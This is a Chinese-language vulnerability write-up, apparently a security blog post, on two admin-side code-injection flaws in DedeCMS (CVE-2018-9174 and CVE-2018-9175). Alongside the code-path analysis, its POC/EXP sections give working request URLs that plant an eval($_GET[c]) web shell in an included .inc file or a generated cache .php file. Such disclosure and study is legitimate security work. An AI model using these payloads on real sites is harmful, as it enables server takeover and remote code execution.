第一处(cve-2018-9174)
基本原理是语句写入 inc 文件中,然后包含进来。
漏洞分析
首先,我们需要找到一个写文件的地方,我的理解 inc 文件是对include file 的缩写,所以如果能够控制写入的这个文件内容,一般能够找到include它的地方。

跟进去文件,uploads/dede/sys_verifies.php

这里我们就要想办法往里写php代码,看到输出点有双引号包围,需要闭合。
知道dedecms有个全局注册变量,
uploads\include\common.inc.php

其中会将字符串里面的" 替换为\"。
所以,我们可以构造
http://mydedecms.com/dede/sys_verifies.php?action=getfiles&refiles[]=12%22;eval($_GET[c]);die();//
到达substr那里
12\";eval($_GET[c]);die();//
截取为
";eval($_GET[c]);die();//
最终写入文件
\uploads\data\modifytmp.inc

任意找到一个include 该modifytmp.inc文件的地方。
原来那文件就有调用。
/uploads/dede/sys_verifies.php

所以,可以直接访问shell
http://mydedecms.com/dede/sys_verifies.php?action=down&c=phpinfo();
这种利用方法是https://xz.aliyun.com/t/2237中介绍的,利用了substr
OK,容易找到另外的利用方式。

注意到是双引号闭合。
Great!
我们不用闭合双引号,可以用可变变量来达到代码执行。
访问如下链接。
http://mydedecms.com/dede/sys_verifies.php?action=getfiles&refiles[]=123${${eval($_GET[c])}}写入的文件如下

访问如下链接
http://mydedecms.com/dede/sys_verifies.php?action=down&c=phpinfo();
POC/EXP
方法一
登录后台
访问
http://mydedecms.com/dede/sys_verifies.php?action=getfiles&refiles[]=12%22;eval($_GET[c]);die();//
访问
http://mydedecms.com/dede/sys_verifies.php?action=down&c=phpinfo();
看到执行了phpinfo()
方法二
- 登录后台
 - 访问
http://mydedecms.com/dede/sys_verifies.php?action=getfiles&refiles[]=123${${eval($_GET[c])}}
 - 访问
http://mydedecms.com/dede/sys_verifies.php?action=down&c=phpinfo();
 
第二处(cve-2018-9175)
基本原理是语句写入数据库,从数据库中取值,输出到 php文件中。
漏洞分析
\uploads\dede\sys_cache_up.php

跟进去

直接从数据库中取数据后写入到文件中。
找到一个写入该数据表的地方
/uploads/dede/stepselect_main.php

OK,有意思的是,插入数据库后,底下就执行了更新缓存,所以,插入数据库和写入缓存文件可以通过访问一个链接达到,构造访问如下链接
http://mydedecms.com/dede/stepselect_main.php?action=addenum_save&ename=2334&egroup=;phpinfo();$&issign=1此时向数据库中添加了数据

此时,缓存文件
uploads/data/enums/;phpinfo();$.php

然后,访问之,链接为
http://mydedecms.com/data/enums/;phpinfo();$.php
POC/EXP
POC
登录后台
访问链接写入数据库,写入缓存文件
http://mydedecms.com/dede/stepselect_main.php?action=addenum_save&ename=2334&egroup=;phpinfo();$&issign=1访问缓存文件
http://mydedecms.com/data/enums/;phpinfo();$.phpEXP
登录后台
访问链接写入数据库,写入缓存文件
http://mydedecms.com/dede/stepselect_main.php?action=addenum_save&ename=2334&egroup=;eval($_GET[c]);$&issign=1访问缓存文件
http://mydedecms.com/data/enums/;eval($_GET[c]);$.php?c=phpinfo();
参考
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9175
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至3213359017@qq.com